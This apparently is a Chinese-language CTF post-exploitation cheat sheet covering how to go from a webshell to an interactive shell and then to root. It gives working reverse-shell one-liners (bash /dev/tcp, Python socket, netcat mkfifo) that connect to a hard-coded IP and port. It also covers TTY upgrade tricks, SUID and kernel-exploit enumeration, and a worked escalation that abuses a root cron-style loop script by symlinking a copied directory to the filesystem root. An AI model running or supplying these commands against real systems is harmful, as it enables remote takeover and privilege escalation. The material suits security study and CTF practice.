建立更强shell
Webshell(如蚁剑、冰蝎、哥斯拉)通常是非交互式的,很多提权命令(如 su、sudo、以及某些这就 Exploit)无法正常执行。
首要任务: 尝试反弹一个交互式 Shell (Reverse Shell)。
常规反弹:
bash -i >& /dev/tcp/攻击机IP/端口 0>&1
bash -c ‘bash -i >& /dev/tcp/139.159.230.135/8008 0>&1’
使用 Python 反弹:
python3 -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“139.159.230.135”,8008));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/bash”,”-i”]);’
python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“139.159.230.135”,8008));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/bash”,”-i”]);’
nc连接:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 139.159.230.135 8008 >/tmp/f
解释:这利用了 nc (netcat) 进行连接,即便 nc 不支持 -e 参数也能生效。
报错分析:
bash -i >& /dev/tcp/攻击机IP/端口 0>&1
报错信息 /bin/sh: 1: Syntax error: Bad fd number 揭示了根本原因: 当前环境默认的 Shell 是 Dash(Debian/Ubuntu 默认将 /bin/sh 软连接到 dash),而不是 Bash。
Dash 是一个轻量级 Shell,它不支持 >& 这种重定向写法,也不支持 /dev/tcp/ 这种 Bash 特有的伪设备通信方式。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| 刚反弹回来的 Shell 通常很脆弱,按 Ctrl+C 会直接断开连接,也不能运行 su 或 sudo 等交互式命令。我们需要把它升级成一个“完全体”终端。
script /dev/null -c bash 如果不报错,你会发现你的 Shell 提示符变了,这时候再按 Ctrl+Z 试试(如果能挂起而不是退出,说明升级成功)。 [1]+ Stopped nc -lvnp 8008 nc 进程挂起到后台了(Stopped 状态)
输入: stty raw -echo; fg (解释:这句话的意思是设置为原始模式,不回显输入,然后把挂起的 nc 调回前台。) 输入完上面的命令后,你可能看不到光标或者输入的内容,别担心,直接按两下回车。 export TERM=xterm (解释:告诉靶机你是一个标准的 xterm 终端,这样 clear 和 vi 就能用了。) export PS1='$ ' 你的提示符会变成一个简洁的 $,再也不会有那一长串字符挡着你了。
stty raw -echo; fg export TERM=xterm export PS1='$ '
“楼梯状”输出: stty sane (盲打)
|
提权三板斧:
1 2 3
| sudo -l find / -perm -u=s -type f 2>/dev/null getcap -r / 2>/dev/null
|
返回报错:
bash: sudo: command not found
Sudo 提权这条路断了。 目标机器是个精简容器,根本没装 sudo
内核漏洞 (Kernel Exploit):
1 2 3 4 5 6 7 8
| uname -a
Dirty Pipe (CVE-2022-0847): 如果内核版本在 5.8 到 5.16.11 之间,这是目前 CTF 中最常见的秒杀级提权。
Dirty COW (CVE-2016-5195): 如果内核很老(2.6.22 - 3.9)。
PwnKit (CVE-2021-4034): pkexec (通常不在那个 SUID 列表里),但确认一下版本总没坏处
|
劫持进程:
下面举一个题目的例子
ps -ef
如果 ps 命令不存在,试试 cat /proc/sched_debug
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| UID PID PPID C STIME TTY TIME CMD root 1 0 0 08:28 ? 00:00:00 apache2 -DFOREGROUND root 7 1 0 08:28 ? 00:00:00 /bin/bash /start.sh www-data 25 1 0 08:28 ? 00:00:00 apache2 -DFOREGROUND www-data 130 1 0 08:30 ? 00:00:00 apache2 -DFOREGROUND www-data 133 1 0 08:30 ? 00:00:00 apache2 -DFOREGROUND www-data 134 1 0 08:30 ? 00:00:00 apache2 -DFOREGROUND www-data 138 1 0 08:30 ? 00:00:00 apache2 -DFOREGROUND www-data 141 1 0 08:30 ? 00:00:00 apache2 -DFOREGROUND www-data 143 1 0 08:30 ? 00:00:00 apache2 -DFOREGROUND www-data 144 1 0 08:30 ? 00:00:00 apache2 -DFOREGROUND www-data 152 1 0 08:30 ? 00:00:00 apache2 -DFOREGROUND www-data 177 1 0 08:31 ? 00:00:00 apache2 -DFOREGROUND www-data 1114 133 0 08:54 ? 00:00:00 sh -c /bin/sh -c "cd "/var/w www-data 1115 1114 0 08:54 ? 00:00:00 /bin/sh -c cd /var/www/html; www-data 1116 1115 0 08:54 ? 00:00:00 bash -c bash -i >& /dev/tcp/ www-data 1117 1116 0 08:54 ? 00:00:00 bash -i www-data 1151 1117 0 08:55 ? 00:00:00 script /dev/null -c bash www-data 1152 1151 0 08:55 pts/0 00:00:00 sh -c bash www-data 1153 1152 0 08:55 pts/0 00:00:00 bash root 1745 7 0 09:10 ? 00:00:00 sleep 5s www-data 1746 1153 0 09:11 pts/0 00:00:00 ps -ef
|
例如:
1 2
| root 7 1 0 08:28 ? 00:00:00 /bin/bash /start.sh root 1745 7 0 09:10 ? 00:00:00 sleep 5s它的子进程是 sleep 5s,这说明这个脚本在执行一个无限循环(跑完任务 -> 睡5秒 -> 再跑任务)。
|
ls -l /start.sh
如果上面的命令显示你有写权限,直接把“修改 Flag 权限”的命令追加到脚本里。
echo “chmod 777 /flag” >> /start.sh
那么接下来怎么做呢
1 2 3 4 5 6 7 8 9 10
| $ cat /start.sh
#!/bin/bash cd /var/www/html/primary while : do cp -P * /var/www/html/marstream/ chmod 755 -R /var/www/html/marstream/ sleep 5s done &
|
cp -P * …: 从 primary 复制文件到 marstream。-P 意味着如果遇到符号链接(Symlink),它会原样复制链接,而不是复制链接指向的文件。
chmod 755 -R …: 递归修改 marstream 目录下所有文件的权限为 755(可读可执行)。
我们需要删掉原本的 marstream 目录,并把它变成一个指向根目录 / 的软链接。
- 删除目标目录
rm -rf /var/www/html/marstream
- 创建软链接,让 marstream 指向根目录 /
ln -s / /var/www/html/marstream
3.或者利用 Linux 的硬链接机制
ln /flag /var/www/html/primary/myflag
如果攻击成功,/flag 的权限应该已经变成了 755